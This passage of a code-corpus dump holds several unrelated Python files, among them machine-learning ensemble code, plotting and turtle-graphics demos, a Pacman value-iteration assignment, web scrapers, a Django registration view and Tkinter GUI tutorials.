average\r\n\t\t\t\t\tensemble_pred_labels = np.amax(pred_labels, axis = 0)\r\n\t\t\t\t\tensemble_cls_pred = np.argmax(ensemble_pred_labels, axis=1)\r\n\t\t\t\telse: #vote fusion\r\n\t\t\t\t\t#Compare networks\r\n\t\t\t\t\t\r\n\t\t\t\t\tvote_softmax = np.zeros(number_of_test,dtype = int)\r\n\t\t\t\t\tprint(number_of_test,np.shape(pred_labels))\r\n\t\t\t\t\tfor i in range(number_of_test):\r\n\t\t\t\t\t\targmax_networks = []\r\n\t\t\t\t\t\tfor m in range(num_networks):\r\n\t\t\t\t\t\t\targmax_networks.append(np.argmax(pred_labels[m][i],axis=0))\r\n\t\t\t\t\t\t# compare each network to choose \r\n\t\t\t\t\t\tcounter = Counter(argmax_networks)\r\n\t\t\t\t\t\tbest_net = [(k, v) for k, v in counter.items() if v == max(counter.values())]\r\n\t\t\t\t\t\tif len(best_net) > 1: #there are many network with predict the same label\r\n\t\t\t\t\t\t\tvote_softmax[i] = np.argmax(np.amax(pred_labels, axis = 0), axis=1)[i]\r\n\t\t\t\t\t\t\t# print(best_net,i,vote_softmax[i],true_labels[i])\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tvote_softmax[i] = best_net[0][0]\r\n\t\t\t\t\tensemble_cls_pred = vote_softmax\r\n\t\t\t\t\t\r\n\t\t\t\tensemble_correct = (ensemble_cls_pred == true_labels)\r\n\t\t\t\tprint('ensemble accuracy:', np.sum(ensemble_correct/number_of_test))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tc3dnet = C3dModel()\r\n\tc3dnet.test(modelpath=\"./models/hmdb51-all/\")","sub_path":"ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":11292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"543526640","text":"#!/usr/bin/env python3\n\n#\n# cmapimg.py - Display single-valued image in Python using a colormap\n#\n# 04May18 Moved square of zeros to upper right for visibility\n# 13Jul16 Adapted from newimg.py by Everett Lipman\n#\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#\n# image size\n#\nX = 320\nY = 200\n\n#\n# array for image data (pixel values): one integer value at each (x,y) point\n#\n# color is determined from pixel value by the colormap\n#\npvals = np.zeros((X,Y), dtype='uint')\n\nxinc = 1000/X\nyinc = 1000/Y\n\n#\n# Note that arrays are typically indexed using entries\n# (i,j), where i is the row (vertical) and j is the column\n# (horizontal). This is different from addressing points\n# (x,y) in the plane, where x, the first variable, indicates\n# horizontal position, and y, the second, indicates vertical\n# position. To make i correspond with x and j with y, we\n# will transpose the pvals matrix below before displaying it.\n# Furthermore, it is customary in raster graphics for the\n# vertical dimension to increase downward from the upper\n# left-hand corner of the screen, while in typical x,y plots\n# the vertical dimension increases upward from the origin\n# at the lower left. So we also flip the entries along\n# the vertical axis using np.flipud() before displaying.\n# This way the pixels (i,j) we assign in the array correspond\n# to the way we typically think of points in the x,y plane.\n#\nfor j in range(Y):\n for i in range(X):\n pvals[i,j] = i*xinc + j*yinc\n\n#\n# example: set some pixels to zero:\n#\nside = 10\nx0 = (29*X)//32 - side\nx1 = (29*X)//32 + side\ny0 = (17*Y)//20 - side\ny1 = (17*Y)//20 + side\npvals[x0:x1, y0:y1] = 0\n\n#\n# Transpose and flip rows so that origin is displayed at bottom left,\n# with x horizontal and y vertical.\n#\n# Note: changing pvals later WILL change plotarr! plotarr is a\n# different 'view' of the same data.\n#\nplotarr = np.flipud(pvals.transpose())\n\nf1, ax1 = plt.subplots()\n\n#\n# interpolation='none' shows unaltered pixels at all scales\n#\npicture = ax1.imshow(plotarr, interpolation='none', cmap='jet')\n\n#\n# turn off axis labels\n#\nax1.axis('off')\n\n#\n# draw figure\n#\nf1.show()\n\ninput(\"\\nPress to exit...\\n\")\n","sub_path":"python/cmapimg.py","file_name":"cmapimg.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"34938094","text":"import turtle\nimport time\n\n\n# turn_line - # function for drawing Dragon curve\ndef turn_line(a):\n for j in range(len(a)):\n if a[j] == 'r':\n turtle.right(90)\n turtle.forward(10)\n if a[j] == 'l':\n turtle.left(90)\n turtle.forward(10)\n\n\n# input_data - function to enter background and pen colors\ndef input_data():\n data = []\n for i in range(2):\n if i == 0:\n data.append(input('Введите цвет фона:'))\n if i == 1:\n data.append(input('Введите цвет пера:'))\n if data[0] == '':\n data[0] = 'red'\n turtle.color(data[0])\n if data[1] == \"\":\n data[1] = 'black'\n turtle.bgcolor(data[1])\n return data\n\n\n# sides - function for calculating rotations Dragon curve\ndef sides(itr):\n old = 'r'\n new = old\n turtle.ht()\n turtle.speed(0)\n turtle.forward(10)\n for i in range(1, itr, 1):\n new = old + 'r'\n old = old[::-1]\n for i in range(0, len(old)):\n if old[i] == 'r':\n old = old[:i] + 'l' + old[i + 1:]\n else:\n old = (old[:i]) + 'r' + (old[i + 1:])\n new += old\n old = new\n return new\n\n\nw = input_data()\nitr = input('Введите кол-во итераций:')\nif itr == '':\n itr = 9\nitr = int(itr)\nq = sides(itr)\nturn_line(q)\ntime.sleep(20)\n","sub_path":"Dragon.py","file_name":"Dragon.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"352628532","text":"# valueIterationAgents.py\n# -----------------------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\n# valueIterationAgents.py\n# -----------------------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\nimport mdp, util\n\nfrom learningAgents import ValueEstimationAgent\nimport collections\n\n\nclass ValueIterationAgent(ValueEstimationAgent):\n \"\"\"\n * Please read learningAgents.py before reading this.*\n\n A ValueIterationAgent takes a Markov decision process\n (see mdp.py) on initialization and runs value iteration\n for a given number of iterations using the supplied\n discount factor.\n \"\"\"\n\n def __init__(self, mdp, discount=0.9, iterations=100):\n \"\"\"\n Your value iteration agent should take an mdp on\n construction, run the indicated number of iterations\n and then act according to the resulting policy.\n\n Some useful mdp methods you will use:\n mdp.getStates()\n mdp.getPossibleActions(state)\n mdp.getTransitionStatesAndProbs(state, action)\n mdp.getReward(state, action, nextState)\n mdp.isTerminal(state)\n \"\"\"\n self.mdp = mdp\n self.discount = discount\n self.iterations = iterations\n self.values = util.Counter() # A Counter is a dict with default 0\n self.runValueIteration()\n\n def runValueIteration(self):\n # Write value iteration code here\n\n \"*** YOUR CODE HERE ***\"\n\n # Iterate all states and actions from every state\n for i in range(0, self.iterations):\n # Stores new value for the state\n new_values = util.Counter()\n\n mdp_states = self.mdp.getStates()\n # Iterate over all state\n for state in mdp_states:\n\n terminal = self.mdp.isTerminal(state)\n if terminal:\n new_values[state] = 0\n\n else:\n # Temporary variable\n temp = list()\n\n # Iterate over all actions and compute qvalue for every action\n actions = self.mdp.getPossibleActions(state)\n for action in actions:\n # Finding the qvalue for this action and this state\n q_value = self.computeQValueFromValues(state, action)\n temp.append(q_value)\n\n new_values[state] = max(temp)\n self.values = new_values\n\n def getValue(self, state):\n \"\"\"\n Return the value of the state (computed in __init__).\n \"\"\"\n return self.values[state]\n\n def computeQValueFromValues(self, state, action):\n \"\"\"\n Compute the Q-value of action in state from the\n value function stored in self.values.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Initialize q_value to 0\n q_value = 0\n\n transitions = self.mdp.getTransitionStatesAndProbs(state, action)\n # Iterate over transition for each state\n for next_state, transition in transitions:\n value_next_state = self.values[next_state]\n # Discount factor\n discount = self.discount\n # Calculate reward\n reward = self.mdp.getReward(state, action, next_state)\n # Finding the Q value\n q_value += transition * (reward + discount * value_next_state)\n\n return q_value\n\n def computeActionFromValues(self, state):\n \"\"\"\n The policy is the best action in the given state\n according to the values currently stored in self.values.\n\n You may break ties any way you see fit. Note that if\n there are no legal actions, which is the case at the\n terminal state, you should return None.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n # Checking terminal state\n terminal = self.mdp.isTerminal(state)\n if terminal:\n return None\n\n else:\n # Initialise max_value to -infinity\n max_value = -float(\"inf\")\n\n actions = self.mdp.getPossibleActions(state)\n max_action = None\n # Iterate over all actions and compute q value in a given state and return max_action\n for action in actions:\n\n # q value of a given state and action\n value = self.computeQValueFromValues(state, action)\n if value > max_value:\n max_value = value\n max_action = action\n\n # return max_action in a given state\n return max_action\n\n def getPolicy(self, state):\n return self.computeActionFromValues(state)\n\n def getAction(self, state):\n \"Returns the policy at the state (no exploration).\"\n return self.computeActionFromValues(state)\n\n def getQValue(self, state, action):\n return self.computeQValueFromValues(state, action)\n\n\nclass AsynchronousValueIterationAgent(ValueIterationAgent):\n \"\"\"\n * Please read learningAgents.py before reading this.*\n\n An AsynchronousValueIterationAgent takes a Markov decision process\n (see mdp.py) on initialization and runs cyclic value iteration\n for a given number of iterations using the supplied\n discount factor.\n \"\"\"\n\n def __init__(self, mdp, discount=0.9, iterations=1000):\n \"\"\"\n Your cyclic value iteration agent should take an mdp on\n construction, run the indicated number of iterations,\n and then act according to the resulting policy. Each iteration\n updates the value of only one state, which cycles through\n the states list. If the chosen state is terminal, nothing\n happens in that iteration.\n\n Some useful mdp methods you will use:\n mdp.getStates()\n mdp.getPossibleActions(state)\n mdp.getTransitionStatesAndProbs(state, action)\n mdp.getReward(state)\n mdp.isTerminal(state)\n \"\"\"\n ValueIterationAgent.__init__(self, mdp, discount, iterations)\n\n def runValueIteration(self):\n \"*** YOUR CODE HERE ***\"\n # Iterate over all possible actions\n for i in range(self.iterations):\n # Stores new value for the state\n new_values = util.Counter()\n # an empty temp list\n temp = list()\n mdp_states = self.mdp.getStates()\n\n state = mdp_states[i % len(mdp_states)]\n\n # Iterate over all actions and compute qvalue for every action\n actions = self.mdp.getPossibleActions(state)\n for action in actions:\n q_value = self.computeQValueFromValues(state, action)\n temp.append(q_value)\n\n if temp:\n new_values[state] = max(temp)\n\n for key in new_values.keys():\n self.values[key] = new_values[key]\n\n\nclass PrioritizedSweepingValueIterationAgent(AsynchronousValueIterationAgent):\n \"\"\"\n * Please read learningAgents.py before reading this.*\n\n A PrioritizedSweepingValueIterationAgent takes a Markov decision process\n (see mdp.py) on initialization and runs prioritized sweeping value iteration\n for a given number of iterations using the supplied parameters.\n \"\"\"\n\n def __init__(self, mdp, discount=0.9, iterations=100, theta=1e-5):\n \"\"\"\n Your prioritized sweeping value iteration agent should take an mdp on\n construction, run the indicated number of iterations,\n and then act according to the resulting policy.\n \"\"\"\n self.theta = theta\n ValueIterationAgent.__init__(self, mdp, discount, iterations)\n\n def runValueIteration(self):\n \"*** YOUR CODE HERE ***\"\n # Initialization of values and temp\n values = util.Counter()\n temp = util.Counter()\n # An empty predecessors list\n predecessors = list()\n # Counter\n count = 0\n # Initialize an empty priority queue\n priority_queue = util.PriorityQueue()\n\n # Computing predecessors of all states\n mdp_states = self.mdp.getStates()\n for state in mdp_states:\n # Computing predecessor of a state and I am making sure to store it as a set to avoid duplicated\n predecessor = set()\n\n for states in mdp_states:\n\n # Iterate over all actions\n actions = self.mdp.getPossibleActions(states)\n for action in actions:\n\n transitions = self.mdp.getTransitionStatesAndProbs(states, action)\n for next_state, transition in transitions:\n\n if transition > 0 and next_state == state:\n predecessor.add(states)\n\n values[state] = count\n count += 1\n predecessors.append(predecessor)\n\n # Iterate over all states for each non terminal states\n for state in mdp_states:\n\n # terminal state\n terminal = self.mdp.isTerminal(state)\n # if condition for terminal\n if terminal:\n continue\n # find the current value of the state\n cur_value = self.getValue(state)\n\n actions = self.computeActionFromValues(state)\n if actions:\n # Find the absolute value of the difference between the current value and the highest q value (temp\n # value)\n temp_value = self.computeQValueFromValues(state, actions)\n temp[state] = temp_value\n difference_value = abs(cur_value - temp_value)\n # pushing the state s into the priority queue with -diff\n priority_queue.push(state, -difference_value)\n\n else:\n temp[state] = cur_value\n\n # Iterate over all iterations from 0\n for i in range(0, self.iterations):\n\n # if priority queue is empty the terminate\n if priority_queue.isEmpty():\n break\n # pop a state from priority queue\n front = priority_queue.pop()\n\n # Update the value of state if it not the terminal state\n terminal = self.mdp.isTerminal(front)\n if terminal:\n continue\n\n else:\n self.values[front] = temp[front]\n\n # Iterate for each predecessor\n for predecessor in predecessors[values[front]]:\n actions = self.computeActionFromValues(predecessor)\n current_value = self.getValue(predecessor)\n\n if actions:\n # finding the absolute value of the difference between the current value and highest value(temp)\n # acroos all actions\n temp_value = self.computeQValueFromValues(predecessor, actions)\n difference_value = abs(current_value - temp_value)\n temp[predecessor] = temp_value\n # Checking if the difference is greater than theta and updating the priority quest with -diff\n\n if difference_value > self.theta:\n priority_queue.update(predecessor, -difference_value)\n","sub_path":"Assignment-3/valueIterationAgents.py","file_name":"valueIterationAgents.py","file_ext":"py","file_size_in_byte":12440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"399548398","text":"from random import randint\nitens = ('pedra', 'papel', 'tesoura')\ncomputador = randint(0,2)\nprint(''' Suas opções:\n[ 0 ] pedra\n[ 1 ] papel\n[ 2 ] tesoura ''')\njogador = int(input('QUAL É SUA JOGADA?'))\nprint('Computador jogou {}'.format(itens[computador]))\nprint('Jogador jogou {}'.format(itens[jogador]))\n\n\n\n\n","sub_path":"desafio/desafio45.py","file_name":"desafio45.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"395697717","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport sys\nimport requests\n\n\n# ## BeautifulSoup is a Python package for working with real-world and broken HTML\n#\n\n# In[ ]:\n\n\nfrom bs4 import BeautifulSoup as bs\n\n\n# # load the website's source code read the word from the input arguments and append to the url\n\n# In[ ]:\n\n\nurl = \"https://www.dictionary.com/browse/\"\ntry:\n word = input()\n url += word\nexcept:\n print(\"mention a word\")\n exit(-1)\n\n\n#\n# # Malking sure the internet connection is on\n\n# In[ ]:\n\n\n\ntry:\n r = requests.get(url)\n soup = bs(r.content, 'lxml')#lxml is used as parser employed by BeautifulSoup\nexcept:\n print(\"Check your Internet and try again!\")\n exit(-1)\n\n\n# # parse the source to obtain all necessary info\n\n# In[ ]:\n\n\n\ntry:\n pos = soup.findAll(\"span\", {\"class\": \"luna-pos\"})[0].text #Pos represents parts of speech\n answer_list = soup.findAll(\"ol\")[0] #ol stands for ordered lists\n meanings = answer_list.findChildren(\"li\", recursive=False) #used for finding all direct children and recursive is #used as children of children should not be considered\nexcept:\n print(\"Word not found!\")\n exit(-1)\n\n\n# In[ ]:\n\n\n#display the results\nprint(word + \":\" + pos)\n\nfor (i, meaning) in enumerate(meanings):\n print()\n print(str(i + 1) + \".\", meaning.text)\n\n\n\n\nprint(\"code by satwik cheppala\")\n\n\n\n","sub_path":"python_online_dictionary.py","file_name":"python_online_dictionary.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"383081793","text":"from urllib.request import urlopen, urlretrieve\nfrom bs4 import BeautifulSoup\n\nmy_file = open('output.txt', 'w', encoding=\"utf8\")\n\n\ndef my_funk(in_link):\n resp = urlopen(in_link) # скачиваем файл\n html = resp.read().decode('utf8') # считываем содержимое\n soup = BeautifulSoup(html, 'html.parser') # делаем суп\n exc = ['http', '#', '//'] #исключения для подсчета\n q=set() #переменная подсчета\n for link in soup.find_all('a'):\n if link.has_attr('href'):\n temp = True\n for i in exc:\n if link.get('href').startswith(i):\n temp = False\n if temp and (':' not in link.get('href')):\n q.add(link.get('href'))\n print(q)\n print(len(q))\n return q\n\nlink_1 = 'https://stepik.org/media/attachments/lesson/258943/Moscow.html'\nlink_2 = 'https://stepik.org/media/attachments/lesson/258944/New-York.html'\n\n\nprint(*sorted(list(my_funk(link_1) & my_funk(link_2))), file=my_file, sep=\"\\n\")\n\n#table = soup.find('table', attrs = {'class' : 'wikitable sortable'})\n\nmy_file.close()","sub_path":"Неделя 7 обработка web страниц/w7_e13_html.py","file_name":"w7_e13_html.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559589641","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom userAccount.models import UserRegister\nfrom userAccount.forms import RegisterDetails\nfrom django.core.mail import send_mail\nfrom mySqlProject import settings\n\n# Create your views here.\ndef register(request):\n\tif request.method == 'POST':\n\t\tform = RegisterDetails(request.POST,request.FILES)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tsub = 'hi'\n\t\t\tbody = 'Iam from django App'\n\t\t\treceiver = request.POST['mailid']\n\t\t\tsender = settings.EMAIL_HOST_USER\n\t\t\tsend_mail(sub,body,sender,[receiver])\n\t\t\treturn redirect('/register')\n\tform = RegisterDetails()\n\treturn render(request,'userAccount/register.html',{'form':form})\n\t#return HttpResponse(\"From register page\")\n\ndef display(request):\n\tdata = UserRegister.objects.all()\n\treturn render(request,'userAccount/display.html',{'data':data})\n\ndef info(request,id=id):\n\tdata = UserRegister.objects.get(id=id)\n\tif request.method == 'POST':\n\t\tform = RegisterDetails(request.POST,instance=data)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\treturn redirect('/display')\n\tform = RegisterDetails(instance=data)\n\treturn render(request,'userAccount/info.html',{'form':form,'data':data})\n\n","sub_path":"vidya/mySql Connection/mySqlProject/userAccount/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"310620543","text":"# -*- coding: utf-8 -*-\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scl_education_scrapper.utils import write_to\n\n\nclass DatacampSpider(CrawlSpider):\n name = 'datacamp'\n allowed_domains = ['www.datacamp.com']\n start_urls = ['https://www.datacamp.com/courses/all/']\n courses = []\n\n rules = (\n Rule(LinkExtractor(restrict_xpaths='//a[@class=\"course-block__link ds-snowplow-link-course-block\"]'),\n callback='parse_item', follow=True),\n )\n\n def parse_item(self, response):\n lessons = []\n\n for lesson in response.xpath(\n '//ol[@class=\"chapters chapters--single-column\"]/li'):\n lesson_dict = {}\n lesson_dict['title'] = lesson.xpath('.//h4[@class=\"chapter__title\"]/text()').extract_first()\n lesson_dict['description'] = lesson.xpath(\n './/p/text()').extract_first()\n lessons.append(lesson_dict)\n\n data = {\n 'url': response.request.url,\n 'title': response.xpath('//h1[@class=\"header-hero__title\"]/text()').extract_first(),\n 'overview': response.xpath(\n '//p[@class=\"home-header__description dc-u-color-white\"]/text()').extract_first(),\n 'description': response.xpath('//p[@class=\"course__description\"]/text()').extract_first(),\n 'length': response.xpath(\n '//li[@class=\"header-hero__stat header-hero__stat--hours\"]/text()').extract_first(),\n 'videos': response.xpath(\n '//li[@class=\"header-hero__stat header-hero__stat--videos\"]/text()').extract_first(),\n 'exercises': response.xpath(\n '//li[@class=\"header-hero__stat header-hero__stat--exercises\"]/text()').extract_first(),\n 'participants': response.xpath(\n '//li[@class=\"header-hero__stat header-hero__stat--participants\"]/text()').extract_first(),\n 'xp': response.xpath(\n '//li[@class=\"header-hero__stat header-hero__stat--xp\"]/text()').extract_first(),\n 'lessons': lessons,\n 'tracks': response.xpath('//li[@class=\"course__track\"]/a/text()').extract()\n }\n\n self.courses.append(data)\n write_to('data_camp','courses', self.courses)\n","sub_path":"scl_education_scrapper/spiders/datacamp.py","file_name":"datacamp.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"398660619","text":"'''\n選項鈕(Radio Button)、核取方塊(Check Boxes)\n'''\n\n# 載入tkinter\nfrom tkinter import *\n\n##==============================================================================================\n## Function(Radio Button)\n##==============================================================================================\n\n# Radio Button 基本用法\ndef radio_to_base():\n # 印出資訊\n def printSelection():\n lab.config(text=\"您是 \" + var.get() + \"。\")\n\n\n # 建立視窗,root可取其它名稱\n root = Tk()\n # 視窗標題\n root.title(\"radio_to_base\")\n\n # Radio Button 的變數\n var = StringVar()\n # 預設為 尚未選擇性別\n var.set(\"尚未選擇性別\")\n\n # 標籤\n lab = Label(root,text=\"尚未選擇性別\")\n # 包裝元件\n lab.pack()\n\n # Radio Button 男性\n # value: 該 Radio Button 的代表值\n rbman = Radiobutton(root,text=\"男生\",variable=var,value=\"男生\",command=printSelection)\n # 包裝元件\n rbman.pack()\n\n # Radio Button 女性\n rbwoman = Radiobutton(root, text=\"女生\", variable=var, value=\"女生\", command=printSelection)\n # 包裝元件\n rbwoman.pack()\n\n # 執行,放在最後一行\n root.mainloop()\n\n# 多選項\ndef radio_to_multibutton():\n # 印出資訊\n def printSelection():\n print(cites[var.get()])\n\n # 建立視窗,root可取其它名稱\n root = Tk()\n # 視窗標題\n root.title(\"radio_to_multibutton\")\n # 城市\n cites = {0:\"東京\",1:\"紐約\",2:\"巴黎\",3:\"倫敦\",4:\"台中\"}\n\n # Radio Button 的變數\n var = IntVar()\n # 預設為 0\n var.set(0)\n\n # 標籤\n lab = Label(root,text=\"選擇最喜歡的城市\")\n # 包裝元件\n lab.pack()\n\n # 建立 Radio Button\n for val,cite in cites.items():\n Radiobutton(root,text=cite,variable=var,value=val,command=printSelection).pack()\n\n # 執行,放在最後一行\n root.mainloop()\n\n# Radio Button 基本用法(box外觀)\ndef radio_to_boxbase():\n # 印出資訊\n def printSelection():\n lab.config(text=\"您是 \" + var.get() + \"。\")\n\n\n # 建立視窗,root可取其它名稱\n root = Tk()\n # 視窗標題\n root.title(\"radio_to_boxbase\")\n\n # Radio Button 的變數\n var = StringVar()\n # 預設為 尚未選擇性別\n var.set(\"尚未選擇性別\")\n\n # 標籤\n lab = Label(root,text=\"尚未選擇性別\")\n # 包裝元件\n lab.pack()\n\n # Radio Button 男性\n # indicatoron : Radio Button的外觀 0為box、1為圓形\n rbman = Radiobutton(root,text=\"男生\",variable=var,value=\"男生\",indicatoron=0,command=printSelection)\n # 包裝元件\n rbman.pack()\n\n # Radio Button 女性\n rbwoman = Radiobutton(root, text=\"女生\", variable=var, value=\"女生\",indicatoron=0, command=printSelection)\n # 包裝元件\n rbwoman.pack()\n\n # 執行,放在最後一行\n root.mainloop()\n\n# Radio Button 含 image\ndef radio_to_image():\n # 印出資訊\n def printSelection():\n lab.config(text=\"您是 \" + var.get() + \"。\")\n\n # 建立視窗,root可取其它名稱\n root = Tk()\n # 視窗標題\n root.title(\"radio_to_image\")\n\n # image\n imgstar = PhotoImage(file=\"../imgfolder/star.png\")\n # image\n imgsun = PhotoImage(file=\"../imgfolder/sun.png\")\n\n # Radio Button 的變數\n var = StringVar()\n # 預設為 0\n var.set(0)\n\n # 標籤\n lab = Label(root, text=\"尚未選擇\")\n # 包裝元件\n lab.pack()\n\n # Radio Button 星星\n rbstar = Radiobutton(root,image=imgstar,text=\"星星\",variable=var,value=\"星星\",command=printSelection)\n rbstar.pack()\n\n # Radio Button 太陽\n rbsun = Radiobutton(root, image=imgsun, text=\"太陽\", variable=var, value=\"太陽\", command=printSelection)\n rbsun.pack()\n\n # 執行,放在最後一行\n root.mainloop()\n\n##==============================================================================================\n## Function(Check Boxes)\n##==============================================================================================\n\n# Check Boxes 基本用法\ndef check_to_base():\n # 印出資訊\n def printSelection():\n for i in checkboxes:\n # 如果被選取\n if checkboxes[i].get() == True:\n print(cites[i])\n\n # 建立視窗,root可取其它名稱\n root = Tk()\n # 視窗標題\n root.title(\"check_to_base\")\n # 城市\n cites = {0: \"東京\", 1: \"紐約\", 2: \"巴黎\", 3: \"倫敦\", 4: \"台中\"}\n # 被選取的城市存放\n checkboxes = {}\n\n # 標籤\n lab = Label(root, text=\"選擇最喜歡的城市\")\n # 包裝元件\n lab.grid(row=0)\n\n # 建立 Radio Button\n for i in range(len(cites)):\n checkboxes[i] = BooleanVar()\n Checkbutton(root, text=cites[i], variable=checkboxes[i]).grid(row=i+1,sticky=W)\n\n # 確定 Button\n btn = Button(root,text=\"確定\",command=printSelection)\n btn.grid(row=i+2)\n\n # 執行,放在最後一行\n root.mainloop()\n\n##==============================================================================================\n## Function(統合)\n##==============================================================================================\n\n# 簡單編輯程式\n# 有1個Entry,3個 Radio Button,1個 Button,1個 Check Box\n# Entry : 輸入文字\n# Radio Button_01 : 選取 Entry 的文字\n# Radio Button_02 : 取消選取 Entry 的文字\n# Radio Button_03 : 清空 Entry 的文字\n# Button : 關閉程式\n# Check Box : 唯獨模式,無法更改 Entry 的文字\ndef editor():\n # 選取\n def selAll():\n entry.select_range(0,END)\n # 取消選取\n def deselAll():\n entry.select_clear()\n # 清空\n def clearAll():\n entry.delete(0,END)\n # 唯讀\n def readonly():\n if (chvar.get() == True):\n entry.config(state=DISABLED)\n else:\n entry.config(state=NORMAL)\n\n # 建立視窗,root可取其它名稱\n root = Tk()\n # 視窗標題\n root.title(\"editor\")\n\n # ==============================================\n # 以下 row=0 建立 Entry\n # ==============================================\n entry = Entry(root)\n # 包裝元件\n entry.grid(row=0,column=0,columnspan=4,padx=5,pady=5,sticky=W)\n\n #==============================================\n # 以下 row=1 建立 Radio Button、Button\n # ==============================================\n # Radio Button 的變數\n rbvar = IntVar()\n # 預設為 0\n rbvar.set(0)\n\n # Radio Button 選取\n rbSel = Radiobutton(root, text=\"選取\", variable=rbvar, value=1, indicatoron=0, command=selAll)\n # 包裝元件\n rbSel.grid(row=1,column=0,padx=5,pady=5,sticky=W)\n\n # Radio Button 取消選取\n rbDesel = Radiobutton(root, text=\"取消選取\", variable=rbvar, value=2, indicatoron=0, command=deselAll)\n # 包裝元件\n rbDesel.grid(row=1, column=1, padx=5, pady=5, sticky=W)\n\n # Radio Button 清空\n rbClr = Radiobutton(root, text=\"清空\", variable=rbvar, value=3, indicatoron=0, command=clearAll)\n # 包裝元件\n rbClr.grid(row=1, column=2, padx=5, pady=5, sticky=W)\n\n # Button 結束\n btnQuit = Button(root, text=\"結束\" ,command=root.destroy)\n # 包裝元件\n btnQuit.grid(row=1, column=3, padx=5, pady=5, sticky=W)\n\n # ==============================================\n # 以下 row=2 建立 CheckBox\n # ==============================================\n # CheckBox 的變數\n chvar = BooleanVar()\n # 預設為 False\n chvar.set(False)\n\n # CheckBox 唯讀\n chkReadonly = Checkbutton(root,text=\"唯讀\",variable=chvar,command=readonly)\n # 包裝元件\n chkReadonly.grid(row=2,column=0)\n\n # 執行,放在最後一行\n root.mainloop()\n##==============================================================================================\n##==============================================================================================\n## Main\n##==============================================================================================\n\n# Radio Button 基本用法\n#radio_to_base()\n\n# 多選項\n#radio_to_multibutton()\n\n# Radio Button 基本用法(box外觀)\n#radio_to_boxbase()\n\n# Radio Button 含 image\n#radio_to_image()\n\n\n# Check Boxes 基本用法\n#check_to_base()\n\n# 簡單編輯程式\n#editor()","sub_path":"Python_Tkinter/Python_Tkinter_Radio_Button.py","file_name":"Python_Tkinter_Radio_Button.py","file_ext":"py","file_size_in_byte":8315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"261577066","text":"import numpy as np\n\nfrom base.dataset import DatasetManager\nfrom .configs import *\n\n\nclass BatchManager:\n def __init__(self, kind):\n self.kind = kind\n dataset_manager = DatasetManager(kind, N_SHOT)\n self.train_data = np.concatenate(\n [\n dataset_manager.get_train_data(),\n dataset_manager.get_valid_data()\n ],\n axis=0)\n self.test_data = dataset_manager.get_test_data()\n\n self.n_user = int(\n max(np.max(self.train_data[:, 0]), np.max(self.test_data[:,\n 0]))) + 1\n self.n_item = int(\n max(np.max(self.train_data[:, 1]), np.max(self.test_data[:,\n 1]))) + 1\n self.mu = np.mean(self.train_data[:, 2])\n self.std = np.std(self.train_data[:, 2])\n","sub_path":"llorma_p/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"463043337","text":"import math\nimport probability\nimport csv\n\nkst=['a','b','ab','bc','abc','abcd','abcde']\ndomain=5\ndef probadjust(correct,kst,start,questate,domain,m_f,probab):\n m_f1=10**math.ceil((domain/4))\n add=0\n sub=0\n \n for st in kst:\n if(start in st):\n add = add + 1\n else:\n sub = sub + 1\n if(add==0):\n factor=sub\n add=1\n elif(sub==0):\n factor=add\n sub=1\n else:\n factor = add*sub\n factor=factor*m_f1\n sum1=0\n print(probab)\n for i in range(len(probab)):\n sum1 = sum1 + probab[i]\n print(\"Sum before: \"+str(sum1))\n for st in kst:\n if(start in st):\n if(correct == 1):\n probab[kst.index(st)]+=factor/add\n else:\n 